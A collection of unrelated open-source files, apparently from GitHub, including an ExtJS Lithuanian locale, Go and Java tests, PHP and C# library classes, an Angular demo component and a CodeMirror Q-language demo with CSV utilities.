loadingText : "Kraunasi..."
});
}
if(Ext.form.field.VTypes){
Ext.apply(Ext.form.field.VTypes, {
emailText : 'Šiame lauke turi būti el.pašto adresas formatu "[email protected]"',
urlText : 'Šiame lauke turi būti nuoroda (URL) formatu "http:/'+'/www.example.com"',
alphaText : 'Šiame lauke gali būti tik raidės ir ženklas "_"',
alphanumText : 'Šiame lauke gali būti tik raidės, skaičiai ir ženklas "_"'
});
}
if(Ext.form.field.HtmlEditor){
Ext.apply(Ext.form.field.HtmlEditor.prototype, {
createLinkText : 'Įveskite URL šiai nuorodai:',
buttonTips : {
bold : {
title: 'Bold (Ctrl+B)',
text: 'Teksto paryškinimas.',
cls: Ext.baseCSSPrefix + 'html-editor-tip'
},
italic : {
title: 'Italic (Ctrl+I)',
text: 'Kursyvinis tekstas.',
cls: Ext.baseCSSPrefix + 'html-editor-tip'
},
underline : {
title: 'Underline (Ctrl+U)',
text: 'Teksto pabraukimas.',
cls: Ext.baseCSSPrefix + 'html-editor-tip'
},
increasefontsize : {
title: 'Padidinti šriftą',
text: 'Padidinti šrifto dydį.',
cls: Ext.baseCSSPrefix + 'html-editor-tip'
},
decreasefontsize : {
title: 'Sumažinti šriftą',
text: 'Sumažinti šrifto dydį.',
cls: Ext.baseCSSPrefix + 'html-editor-tip'
},
backcolor : {
title: 'Nuspalvinti teksto foną',
text: 'Pakeisti teksto fono spalvą.',
cls: Ext.baseCSSPrefix + 'html-editor-tip'
},
forecolor : {
title: 'Teksto spalva',
text: 'Pakeisti pažymėto teksto spalvą.',
cls: Ext.baseCSSPrefix + 'html-editor-tip'
},
justifyleft : {
title: 'Išlyginti kairen',
text: 'Išlyginti tekstą į kairę.',
cls: Ext.baseCSSPrefix + 'html-editor-tip'
},
justifycenter : {
title: 'Centruoti tekstą',
text: 'Centruoti tektą redaktoriaus lange.',
cls: Ext.baseCSSPrefix + 'html-editor-tip'
},
justifyright : {
title: 'Išlyginti dešinėn',
text: 'Išlyginti tekstą į dešinę.',
cls: Ext.baseCSSPrefix + 'html-editor-tip'
},
insertunorderedlist : {
title: 'Paprastas sąrašas',
text: 'Pradėti neorganizuotą sąrašą.',
cls: Ext.baseCSSPrefix + 'html-editor-tip'
},
insertorderedlist : {
title: 'Numeruotas sąrašas',
text: 'Pradėti numeruotą sąrašą.',
cls: Ext.baseCSSPrefix + 'html-editor-tip'
},
createlink : {
title: 'Nuoroda',
text: 'Padaryti pažymėta tekstą nuoroda.',
cls: Ext.baseCSSPrefix + 'html-editor-tip'
},
sourceedit : {
title: 'Išeities tekstas',
text: 'Persijungti į išeities teksto koregavimo režimą.',
cls: Ext.baseCSSPrefix + 'html-editor-tip'
}
}
});
}
if(Ext.form.Basic){
Ext.form.Basic.prototype.waitTitle = "Palaukite...";
}
if(Ext.grid.header.Container){
Ext.apply(Ext.grid.header.Container.prototype, {
sortAscText : "Rūšiuoti didėjančia tvarka",
sortDescText : "Rūšiuoti mažėjančia tvarka",
lockText : "Užfiksuoti stulpelį",
unlockText : "Atlaisvinti stulpelį",
columnsText : "Stulpeliai"
});
}
if(Ext.grid.GroupingFeature){
Ext.apply(Ext.grid.GroupingFeature.prototype, {
emptyGroupText : '(Nėra)',
groupByText : 'Grupuoti pagal šį lauką',
showGroupsText : 'Rodyti grupėse'
});
}
if(Ext.grid.PropertyColumnModel){
Ext.apply(Ext.grid.PropertyColumnModel.prototype, {
nameText : "Pavadinimas",
valueText : "Reikšmė",
dateFormat : "Y-m-d"
});
}
if(Ext.layout.BorderLayout && Ext.layout.BorderLayout.SplitRegion){
Ext.apply(Ext.layout.BorderLayout.SplitRegion.prototype, {
splitTip : "Patraukite juostelę.",
collapsibleSplitTip : "Patraukite juostelę arba Paspauskite dvigubai kad paslėpti."
});
}
if(Ext.form.field.Time){
Ext.apply(Ext.form.field.Time.prototype, {
minText : "Laikas turi buti lygus arba vėlesnis už {0}",
maxText : "Laikas turi būti lygus arba ankstesnis už {0}",
invalidText : "{0} yra neteisingas laikas",
format : "H:i",
altFormats : "g:ia|g:iA|g:i a|g:i A|h:i|g:i|H:i|ga|ha|gA|h a|g a|g A|gi|hi|gia|hia|g|H"
});
}
if(Ext.form.CheckboxGroup){
Ext.apply(Ext.form.CheckboxGroup.prototype, {
blankText : "Jūs turite padaryti bent vieną pasirinkimą šioje grupėje"
});
}
if(Ext.form.RadioGroup){
Ext.apply(Ext.form.RadioGroup.prototype, {
blankText : "Jūs turite padaryti bent vieną pasirinkimą šioje grupėje"
});
}
});
| {
"pile_set_name": "Github"
} |
package com.lin.baseTest;
import org.junit.runner.RunWith;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.test.context.ContextConfiguration;
import org.springframework.test.context.junit4.AbstractJUnit4SpringContextTests;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
/**
* 功能概要:
*
* @author linbingwen
* @since 2015年9月28日
*/
//指定bean注入的配置文件
@ContextConfiguration(locations = { "classpath:application.xml" })
//使用标准的JUnit @RunWith注释来告诉JUnit使用Spring TestRunner
@RunWith(SpringJUnit4ClassRunner.class)
public abstract class SpringTestCase extends AbstractJUnit4SpringContextTests{
protected Logger logger = LoggerFactory.getLogger(getClass());
}
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2020 IoTeX
// This is an alpha (internal) release and is not suitable for production. This source code is provided 'as is' and no
// warranties are given as to title or non-infringement, merchantability or fitness for purpose and, to the extent
// permitted by law, all liability for your use of the code is disclaimed. This source code is governed by Apache
// License 2.0 that can be found in the LICENSE file.
package staking
import (
"math/big"
"testing"
"time"
"github.com/golang/mock/gomock"
"github.com/iotexproject/go-pkgs/hash"
"github.com/iotexproject/iotex-address/address"
"github.com/pkg/errors"
"github.com/stretchr/testify/require"
"github.com/iotexproject/iotex-core/action/protocol"
"github.com/iotexproject/iotex-core/state"
"github.com/iotexproject/iotex-core/test/identityset"
"github.com/iotexproject/iotex-core/testutil/testdb"
)
const (
stateDBPath = "stateDB.test"
)
func TestGetPutStaking(t *testing.T) {
require := require.New(t)
ctrl := gomock.NewController(t)
defer ctrl.Finish()
sm := testdb.NewMockStateManager(ctrl)
sm.PutState(
&totalBucketCount{count: 0},
protocol.NamespaceOption(StakingNameSpace),
protocol.KeyOption(TotalBucketKey),
)
tests := []struct {
name hash.Hash160
index uint64
}{
{
hash.BytesToHash160([]byte{1, 2, 3, 4}),
0,
},
{
hash.BytesToHash160([]byte{1, 2, 3, 4}),
1,
},
{
hash.BytesToHash160([]byte{2, 3, 4, 5}),
2,
},
{
hash.BytesToHash160([]byte{2, 3, 4, 5}),
3,
},
}
// put buckets and get
for _, e := range tests {
addr, _ := address.FromBytes(e.name[:])
_, err := getBucket(sm, e.index)
require.Equal(state.ErrStateNotExist, errors.Cause(err))
vb := NewVoteBucket(addr, identityset.Address(1), big.NewInt(2100000000), 21*uint32(e.index+1), time.Now(), true)
count, err := getTotalBucketCount(sm)
require.NoError(err)
require.Equal(e.index, count)
count, err = putBucket(sm, vb)
require.NoError(err)
require.Equal(e.index, count)
count, err = getTotalBucketCount(sm)
require.NoError(err)
require.Equal(e.index+1, count)
vb1, err := getBucket(sm, e.index)
require.NoError(err)
require.Equal(e.index, vb1.Index)
require.Equal(vb, vb1)
}
vb, err := getBucket(sm, 2)
require.NoError(err)
vb.AutoStake = false
vb.StakedAmount.Sub(vb.StakedAmount, big.NewInt(100))
vb.UnstakeStartTime = time.Now().UTC()
require.True(vb.isUnstaked())
require.NoError(updateBucket(sm, 2, vb))
vb1, err := getBucket(sm, 2)
require.NoError(err)
require.Equal(vb, vb1)
// delete buckets and get
for _, e := range tests {
require.NoError(delBucket(sm, e.index))
_, err := getBucket(sm, e.index)
require.Equal(state.ErrStateNotExist, errors.Cause(err))
}
}
| {
"pile_set_name": "Github"
} |
<?php
/**
* @version $Id: strcasecmp.php 10381 2008-06-01 03:35:53Z pasamio $
* @package utf8
* @subpackage strings
*/
//---------------------------------------------------------------
/**
* UTF-8 aware alternative to strcasecmp
* A case insensivite string comparison
* Note: requires utf8_strtolower
* @param string
* @param string
* @return int
* @see http://www.php.net/strcasecmp
* @see utf8_strtolower
* @package utf8
* @subpackage strings
*/
function utf8_strcasecmp($strX, $strY) {
$strX = utf8_strtolower($strX);
$strY = utf8_strtolower($strY);
return strcmp($strX, $strY);
}
| {
"pile_set_name": "Github"
} |
version https://git-lfs.github.com/spec/v1
oid sha256:a1cbb656b7a2ff6d6b4d9943a902389d0d3ebeabd45c5865ee224283d49ee947
size 3100076
| {
"pile_set_name": "Github"
} |
<?php
/*
* Copyright 2016 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
/**
* The "inventory" collection of methods.
* Typical usage is:
* <code>
* $contentService = new Google_Service_ShoppingContent(...);
* $inventory = $contentService->inventory;
* </code>
*/
class Google_Service_ShoppingContent_Resource_Inventory extends Google_Service_Resource
{
/**
* Updates price and availability for multiple products or stores in a single
* request. This operation does not update the expiration date of the products.
* This method can only be called for non-multi-client accounts.
* (inventory.custombatch)
*
* @param Google_Service_ShoppingContent_InventoryCustomBatchRequest $postBody
* @param array $optParams Optional parameters.
*
* @opt_param bool dryRun Flag to run the request in dry-run mode.
* @return Google_Service_ShoppingContent_InventoryCustomBatchResponse
*/
public function custombatch(Google_Service_ShoppingContent_InventoryCustomBatchRequest $postBody, $optParams = array())
{
$params = array('postBody' => $postBody);
$params = array_merge($params, $optParams);
return $this->call('custombatch', array($params), "Google_Service_ShoppingContent_InventoryCustomBatchResponse");
}
/**
* Updates price and availability of a product in your Merchant Center account.
* This operation does not update the expiration date of the product. This
* method can only be called for non-multi-client accounts. (inventory.set)
*
* @param string $merchantId The ID of the managing account.
* @param string $storeCode The code of the store for which to update price and
* availability. Use online to update price and availability of an online
* product.
* @param string $productId The ID of the product for which to update price and
* availability.
* @param Google_Service_ShoppingContent_InventorySetRequest $postBody
* @param array $optParams Optional parameters.
*
* @opt_param bool dryRun Flag to run the request in dry-run mode.
* @return Google_Service_ShoppingContent_InventorySetResponse
*/
public function set($merchantId, $storeCode, $productId, Google_Service_ShoppingContent_InventorySetRequest $postBody, $optParams = array())
{
$params = array('merchantId' => $merchantId, 'storeCode' => $storeCode, 'productId' => $productId, 'postBody' => $postBody);
$params = array_merge($params, $optParams);
return $this->call('set', array($params), "Google_Service_ShoppingContent_InventorySetResponse");
}
}
| {
"pile_set_name": "Github"
} |
#include "backtrace.hpp"
namespace Sass {
const std::string traces_to_string(Backtraces traces, std::string indent) {
std::stringstream ss;
std::string cwd(File::get_cwd());
bool first = true;
size_t i_beg = traces.size() - 1;
size_t i_end = std::string::npos;
for (size_t i = i_beg; i != i_end; i --) {
const Backtrace& trace = traces[i];
// make path relative to the current directory
std::string rel_path(File::abs2rel(trace.pstate.path, cwd, cwd));
// skip functions on error cases (unsure why ruby sass does this)
// if (trace.caller.substr(0, 6) == ", in f") continue;
if (first) {
ss << indent;
ss << "on line ";
ss << trace.pstate.line + 1;
ss << " of " << rel_path;
// ss << trace.caller;
first = false;
} else {
ss << trace.caller;
ss << std::endl;
ss << indent;
ss << "from line ";
ss << trace.pstate.line + 1;
ss << " of " << rel_path;
}
}
ss << std::endl;
return ss.str();
}
};
| {
"pile_set_name": "Github"
} |
#region Licence...
//-----------------------------------------------------------------------------
// Date: 10/03/09 Time: 21:00
// Module: WixSharp.cs
// Version: 0.1.20
//
// This module contains the definition of the Wix# classes.
//
// Written by Oleg Shilo ([email protected])
// Copyright (c) 2008-2017. All rights reserved.
//
// Redistribution and use of this code in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// 2. Neither the name of an author nor the names of the contributors may be used
// to endorse or promote products derived from this software without specific
// prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
// TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
// PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Caution: Bugs are expected!
//----------------------------------------------
#endregion Licence...
namespace WixSharp
{
/// <summary>
/// Defines WiX Managed CustomAction.
/// <para>
/// Managed CustomAction can be defined either in the Wix# script or in the external assembly or C# file.
/// The only requirements for any C# method to be qualified for being Managed CustomAcyion is to
/// have DTF Action signature <c>public static ActionResult MyManagedAction(Session session)</c>, and be
/// marked with <c>[CustomAction]</c> attribute.
/// </para>
/// <para>
/// If Managed CustomAction depends on any assembly, which will not be registered with GAC on the
/// target system such assembly needs to be listed in the <see cref="ManagedAction.RefAssemblies"/>.
/// </para>
/// <remarks>
/// <see cref="ManagedAction"/> often needs to be executed with the elevated privileges. Thus after instantiation it will have
/// <see cref="Action.Impersonate"/> set to <c>false</c> and <see cref="Action.Execute"/> set to <c>Execute.deferred</c> to allow elevating.
/// </remarks>
/// </summary>
/// <example>The following is an example of using <c>MyManagedAction</c> method of the class
/// <c>CustomActions</c> as a Managed CustomAction.
/// <code>
/// class Script
/// {
/// static public void Main(string[] args)
/// {
/// var project =
/// new Project("My Product",
///
/// new Dir(@"%ProgramFiles%\My Company\My Product",
///
/// new File(@"AppFiles\MyApp.exe",
/// new WixSharp.Shortcut("MyApp", @"%ProgramMenu%\My Company\My Product"),
/// new WixSharp.Shortcut("MyApp", @"%Desktop%")),
///
/// new File(@"AppFiles\Readme.txt"),
///
/// new ManagedAction(@"MyManagedAction"),
///
/// ...
///
/// Compiler.BuildMsi(project);
/// }
/// }
///
/// public class CustomActions
/// {
/// [CustomAction]
/// public static ActionResult MyManagedAction(Session session)
/// {
/// MessageBox.Show("Hello World!", "Managed CA");
/// return ActionResult.Success;
/// }
/// }
/// </code>
/// </example>
public partial class ShowClrDialogAction : ManagedAction
{
/// <summary>
/// Initializes a new instance of the <see cref="ShowClrDialogAction"/> class.
/// </summary>
public ShowClrDialogAction()
{
this.Sequence = Sequence.NotInSequence;
}
/// <summary>
/// Initializes a new instance of the <see cref="ShowClrDialogAction"/> class with properties/fields initialized with specified parameters.
/// </summary>
/// <param name="name">Name of the CustomAction. The name should match the method implementing the custom action functionality.</param>
public ShowClrDialogAction(string name)
: base(name)
{
this.Sequence = Sequence.NotInSequence;
}
/// <summary>
/// Initializes a new instance of the <see cref="ShowClrDialogAction"/> class with properties/fields initialized with specified parameters.
/// </summary>
/// <param name="id">The explicit <see cref="Id"></see> to be associated with <see cref="ShowClrDialogAction"/> instance.</param>
/// <param name="name">Name of the CustomAction. The name should match the method implementing the custom action functionality.</param>
public ShowClrDialogAction(Id id, string name)
: base(name)
{
Id = id;
this.Sequence = Sequence.NotInSequence;
}
/// <summary>
/// Initializes a new instance of the <see cref="ShowClrDialogAction"/> class with properties/fields initialized with specified parameters.
/// </summary>
/// <param name="name">Name of the CustomAction. The name should match the method implementing the custom action functionality.</param>
/// <param name="actionAssembly">Path to the assembly containing the CustomAction implementation. Specify <c>"%this%"</c> if the assembly
/// is in the Wix# script.</param>
public ShowClrDialogAction(string name, string actionAssembly)
: base(name)
{
this.ActionAssembly = actionAssembly;
this.Sequence = Sequence.NotInSequence;
}
/// <summary>
/// Initializes a new instance of the <see cref="ShowClrDialogAction"/> class with properties/fields initialized with specified parameters.
/// </summary>
/// <param name="id">The explicit <see cref="Id"></see> to be associated with <see cref="ShowClrDialogAction"/> instance.</param>
/// <param name="name">Name of the CustomAction. The name should match the method implementing the custom action functionality.</param>
/// <param name="actionAssembly">Path to the assembly containing the CustomAction implementation. Specify <c>"%this%"</c> if the assembly
/// is in the Wix# script.</param>
public ShowClrDialogAction(Id id, string name, string actionAssembly)
: base(name)
{
this.Id = id;
this.ActionAssembly = actionAssembly;
this.Sequence = Sequence.NotInSequence;
}
}
} | {
"pile_set_name": "Github"
} |
# Telemetry for Web Template Studio - 2020.08
As new features and pages roll out, percentages will adjust.
## Frontend Frameworks
|Framework Type|Percentage|
|:---|:---:|
|React|57.7%|
|Angular|21.1%|
|Vue|21.1%|
## Backend Frameworks
|Framework Type|Percentage|
|:---|:---:|
|Node|60%|
|AspNet|17%|
|Flask|17%|
|Moleculer|5.7%|
## Pages
|Pages|Percentage|
|:---|:---:|
|Blank|38.2%|
|Master Detail|22.1%|
|Grid|20.6%|
|List|19.1%|
## Services
|Services|Percentage|
|:---|:---:|
|App Service|55.6%|
|Cosmos DB|44.0%|
| {
"pile_set_name": "Github"
} |
<?php
declare(strict_types=1);
namespace Phan\Library\Hasher;
use Phan\Library\Hasher;
/**
* Hasher implementation mapping keys to sequential groups (first key to 0, second key to 1, looping back to 0)
* getGroup() is called exactly once on each string to be hashed.
* See https://en.wikipedia.org/wiki/Consistent_hashing
*/
class Consistent implements Hasher
{
/** A larger number means a more balanced distribution. */
private const VIRTUAL_COPY_COUNT = 16;
/** i.e. (1 << 30) */
private const MAX = 0x40000000;
/** @var list<int> - Sorted list of hash values, for binary search. */
protected $hash_ring_ids;
/** @var list<int> - Groups corresponding to hash values in hash_ring_ids */
protected $hash_ring_groups;
public function __construct(int $group_count)
{
$map = self::generateMap($group_count);
$hash_ring_ids = [];
$hash_ring_groups = [];
foreach ($map as $key => $group) {
$hash_ring_ids[] = $key;
$hash_ring_groups[] = $group;
}
// ... and make the map wrap around.
$hash_ring_ids[] = self::MAX - 1;
$hash_ring_groups[] = \reset($map) ?: 0;
$this->hash_ring_ids = $hash_ring_ids;
$this->hash_ring_groups = $hash_ring_groups;
}
/**
* @return associative-array<int,int> maps points in the field to the corresponding group (for consistent hashing)
*/
private static function generateMap(int $group_count): array
{
$map = [];
for ($group = 0; $group < $group_count; $group++) {
foreach (self::getHashesForGroup($group) as $hash) {
$map[$hash] = $group;
}
}
\ksort($map);
return $map;
}
/**
* Do a binary search in the consistent hashing ring to find the group.
* @return int - an integer between 0 and $this->group_count - 1, inclusive
*/
public function getGroup(string $key): int
{
$search_hash = self::generateKeyHash($key);
$begin = 0;
$end = \count($this->hash_ring_ids) - 1;
while ($begin <= $end) {
$pos = $begin + (($end - $begin) >> 1);
$cur_val = $this->hash_ring_ids[$pos];
if ($search_hash > $cur_val) {
$begin = $pos + 1;
} else {
$end = $pos - 1;
}
}
// Postcondition: $this->hash_ring_ids[$begin] >= $search_hash, and $this->hash_ring_ids[$begin - 1] does not exist or is less than $search_hash.
// Fetch the group corresponding to that hash in the hash ring.
return $this->hash_ring_groups[$begin];
}
/**
* No-op reset
*/
public function reset(): void
{
}
/**
* @return list<int> A list of VIRTUAL_COPY_COUNT hashes for group $i in the consistent hash ring.
*/
public static function getHashesForGroup(int $group): array
{
$hashes = [];
for ($i = 0; $i < self::VIRTUAL_COPY_COUNT; $i++) {
$hashes[$i] = self::generateKeyHash("${i}@$group");
}
return $hashes;
}
/**
* Returns a 30-bit signed integer (i.e. in the range [0, self::MAX-1])
* Designed to work on 32-bit php installations as well.
*/
public static function generateKeyHash(string $material): int
{
$bits = \md5($material);
$result = ((\intval($bits[0], 16) & 3) << 28) ^ \intval(\substr($bits, 1, 7), 16);
return $result;
}
}
| {
"pile_set_name": "Github"
} |
import re
[print('YES' if re.match(r'[789]\d{9}$', input()) else 'NO') for _ in range(int(input()))] | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<xliff version="1.0" xmlns:t3="http://typo3.org/schemas/xliff">
<file t3:id="1520862805" source-language="en" datatype="plaintext" original="EXT:adminpanel/Resources/Private/Language/locallang_info.xlf" date="2018-03-12T13:52:01Z" product-name="adminpanel">
<header/>
<body>
<trans-unit id="module.label" resname="module.label">
<source>Info</source>
</trans-unit>
<trans-unit id="module.shortinfo" resname="module.shortinfo">
<source>(Load Time: %s ms)</source>
</trans-unit>
<trans-unit id="imagesOnPage" resname="imagesOnPage">
<source>Images on this page</source>
</trans-unit>
<trans-unit id="imagesSize" resname="imagesSize">
<source>Total image file sizes</source>
</trans-unit>
<trans-unit id="DocumentSize" resname="DocumentSize">
<source>Document size</source>
</trans-unit>
<trans-unit id="pageUid" resname="pageUid">
<source>Page Uid</source>
</trans-unit>
<trans-unit id="pageType" resname="pageType">
<source>Page type</source>
</trans-unit>
<trans-unit id="groupList" resname="groupList">
<source>Frontenduser group combination</source>
</trans-unit>
<trans-unit id="noCache" resname="noCache">
<source>Page cached</source>
</trans-unit>
<trans-unit id="noCache_yes" resname="noCache_yes">
<source>Yes</source>
</trans-unit>
<trans-unit id="noCache_no" resname="noCache_no">
<source>No</source>
</trans-unit>
<trans-unit id="countUserInt" resname="countUserInt">
<source>Count of USER_INT objects</source>
</trans-unit>
<trans-unit id="feuserName" resname="feuserName">
<source>Name of logged in FE-User</source>
</trans-unit>
<trans-unit id="feuserId" resname="feuserId">
<source>Id of logged in FE-User</source>
</trans-unit>
<trans-unit id="totalParsetime" resname="totalParsetime">
<source>Total parsetime</source>
</trans-unit>
<trans-unit id="noUserInt" resname="noUserInt">
<source>There are no USER_INT objects on this page.</source>
</trans-unit>
<trans-unit id="key" resname="key">
<source>Key</source>
</trans-unit>
<trans-unit id="value" resname="value">
<source>Value</source>
</trans-unit>
<trans-unit id="sub.general.label" resname="sub.general.label">
<source>General</source>
</trans-unit>
<trans-unit id="sub.php.label" resname="sub.php.label">
<source>PHP</source>
</trans-unit>
<trans-unit id="sub.request.label" resname="sub.request.label">
<source>REQUEST</source>
</trans-unit>
<trans-unit id="sub.userint.label" resname="sub.userint.label">
<source>USER_INT</source>
</trans-unit>
</body>
</file>
</xliff>
| {
"pile_set_name": "Github"
} |
define( [
"../var/rnothtmlwhite"
], function( rnothtmlwhite ) {
"use strict";
// Strip and collapse whitespace according to HTML spec
// https://html.spec.whatwg.org/multipage/infrastructure.html#strip-and-collapse-whitespace
function stripAndCollapse( value ) {
var tokens = value.match( rnothtmlwhite ) || [];
return tokens.join( " " );
}
return stripAndCollapse;
} );
| {
"pile_set_name": "Github"
} |
import {AfterViewInit, Component, ElementRef} from '@angular/core';
import {IOption} from 'ng-select';
declare var hljs: any;
import {OptionService} from '../../services/option.service';
@Component({
selector: 'select-method',
templateUrl: './select-method.component.html'
})
export class SelectMethod implements AfterViewInit {
characters: Array<IOption> = this.optionService.getCharacters();
constructor(
private elementRef: ElementRef,
private optionService: OptionService
) {}
ngAfterViewInit() {
hljs.initHighlighting();
let nodes: NodeList = this.elementRef
.nativeElement
.querySelectorAll('.typescript, .html, .css');
for (let i = 0; i < nodes.length; i++) {
hljs.highlightBlock(nodes[i]);
}
}
html0: string = `
<pre><code class="html"><ng-select
#mySelect
[options]="characters">
</ng-select>
<button
(click)="mySelect.select('3')">
Select Parzival
</button>
</code></pre>`;
html1: string = `
<pre><code class="html"><ng-select
#mySelect
[options]="characters"
[multiple]="true">
</ng-select>
<button
(click)="mySelect.select(['1', '3'])">
Select Art3mis and Parzival
</button>
</code></pre>`;
}
| {
"pile_set_name": "Github"
} |
<!doctype html>
<title>CodeMirror: Q mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">
<link rel="stylesheet" href="../../lib/codemirror.css">
<script src="../../lib/codemirror.js"></script>
<script src="../../addon/edit/matchbrackets.js"></script>
<script src="q.js"></script>
<style type="text/css">.CodeMirror {border-top: 1px solid black; border-bottom: 1px solid black;}</style>
<div id=nav>
<a href="http://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"></a>
<ul>
<li><a href="../../index.html">Home</a>
<li><a href="../../doc/manual.html">Manual</a>
<li><a href="https://github.com/codemirror/codemirror">Code</a>
</ul>
<ul>
<li><a href="../index.html">Language modes</a>
<li><a class=active href="#">Q</a>
</ul>
</div>
<article>
<h2>Q mode</h2>
<div><textarea id="code" name="code">
/ utilities to quickly load a csv file - for more exhaustive analysis of the csv contents see csvguess.q
/ 2009.09.20 - updated to match latest csvguess.q
/ .csv.colhdrs[file] - return a list of colhdrs from file
/ info:.csv.info[file] - return a table of information about the file
/ columns are:
/ c - column name; ci - column index; t - load type; mw - max width;
/ dchar - distinct characters in values; rule - rule that caught the type
/ maybe - needs checking, _could_ be say a date, but perhaps just a float?
/ .csv.info0[file;onlycols] - like .csv.info except that it only analyses <onlycols>
/ example:
/ info:.csv.info0[file;(.csv.colhdrs file)like"*price"]
/ info:.csv.infolike[file;"*price"]
/ show delete from info where t=" "
/ .csv.data[file;info] - use the info from .csv.info to read the data
/ .csv.data10[file;info] - like .csv.data but only returns the first 10 rows
/ bulkload[file;info] - bulk loads file into table DATA (which must be already defined :: DATA:() )
/ .csv.read[file]/read10[file] - for when you don't care about checking/tweaking the <info> before reading
\d .csv
DELIM:","
ZAPHDRS:0b / lowercase and remove _ from colhdrs (junk characters are always removed)
WIDTHHDR:25000 / number of characters read to get the header
READLINES:222 / number of lines read and used to guess the types
SYMMAXWIDTH:11 / character columns narrower than this are stored as symbols
SYMMAXGR:10 / max symbol granularity% before we give up and keep as a * string
FORCECHARWIDTH:30 / every field (of any type) with values this wide or more is forced to character "*"
DISCARDEMPTY:0b / completely ignore empty columns if true else set them to "C"
CHUNKSIZE:50000000 / used in fs2 (modified .Q.fs)
k)nameltrim:{$[~@x;.z.s'x;~(*x)in aA:.Q.a,.Q.A;(+/&\~x in aA)_x;x]}
k)fs2:{[f;s]((-7!s)>){[f;s;x]i:1+last@&0xa=r:1:(s;x;CHUNKSIZE);f@`\:i#r;x+i}[f;s]/0j}
cleanhdrs:{{$[ZAPHDRS;lower x except"_";x]}x where x in DELIM,.Q.an}
cancast:{nw:x$"";if[not x in"BXCS";nw:(min 0#;max 0#;::)@\:nw];$[not any nw in x$(11&count y)#y;$[11<count y;not any nw in x$y;1b];0b]}
read:{[file]data[file;info[file]]}
read10:{[file]data10[file;info[file]]}
colhdrs:{[file]
`$nameltrim DELIM vs cleanhdrs first read0(file;0;1+first where 0xa=read1(file;0;WIDTHHDR))}
data:{[file;info]
(exec c from info where not t=" ")xcol(exec t from info;enlist DELIM)0:file}
data10:{[file;info]
data[;info](file;0;1+last 11#where 0xa=read1(file;0;15*WIDTHHDR))}
info0:{[file;onlycols]
colhdrs:`$nameltrim DELIM vs cleanhdrs first head:read0(file;0;1+last where 0xa=read1(file;0;WIDTHHDR));
loadfmts:(count colhdrs)#"S";if[count onlycols;loadfmts[where not colhdrs in onlycols]:"C"];
breaks:where 0xa=read1(file;0;floor(10+READLINES)*WIDTHHDR%count head);
nas:count as:colhdrs xcol(loadfmts;enlist DELIM)0:(file;0;1+last((1+READLINES)&count breaks)#breaks);
info:([]c:key flip as;v:value flip as);as:();
reserved:key`.q;reserved,:.Q.res;reserved,:`i;
info:update res:c in reserved from info;
info:update ci:i,t:"?",ipa:0b,mdot:0,mw:0,rule:0,gr:0,ndv:0,maybe:0b,empty:0b,j10:0b,j12:0b from info;
info:update ci:`s#ci from info;
if[count onlycols;info:update t:" ",rule:10 from info where not c in onlycols];
info:update sdv:{string(distinct x)except`}peach v from info;
info:update ndv:count each sdv from info;
info:update gr:floor 0.5+100*ndv%nas,mw:{max count each x}peach sdv from info where 0<ndv;
info:update t:"*",rule:20 from info where mw>.csv.FORCECHARWIDTH; / long values
info:update t:"C "[.csv.DISCARDEMPTY],rule:30,empty:1b from info where t="?",mw=0; / empty columns
info:update dchar:{asc distinct raze x}peach sdv from info where t="?";
info:update mdot:{max sum each"."=x}peach sdv from info where t="?",{"."in x}each dchar;
info:update t:"n",rule:40 from info where t="?",{any x in"0123456789"}each dchar; / vaguely numeric..
info:update t:"I",rule:50,ipa:1b from info where t="n",mw within 7 15,mdot=3,{all x in".0123456789"}each dchar,.csv.cancast["I"]peach sdv; / ip-address
info:update t:"J",rule:60 from info where t="n",mdot=0,{all x in"+-0123456789"}each dchar,.csv.cancast["J"]peach sdv;
info:update t:"I",rule:70 from info where t="J",mw<12,.csv.cancast["I"]peach sdv;
info:update t:"H",rule:80 from info where t="I",mw<7,.csv.cancast["H"]peach sdv;
info:update t:"F",rule:90 from info where t="n",mdot<2,mw>1,.csv.cancast["F"]peach sdv;
info:update t:"E",rule:100,maybe:1b from info where t="F",mw<9;
info:update t:"M",rule:110,maybe:1b from info where t in"nIHEF",mdot<2,mw within 4 7,.csv.cancast["M"]peach sdv;
info:update t:"D",rule:120,maybe:1b from info where t in"nI",mdot in 0 2,mw within 6 11,.csv.cancast["D"]peach sdv;
info:update t:"V",rule:130,maybe:1b from info where t="I",mw in 5 6,7<count each dchar,{all x like"*[0-9][0-5][0-9][0-5][0-9]"}peach sdv,.csv.cancast["V"]peach sdv; / 235959 12345
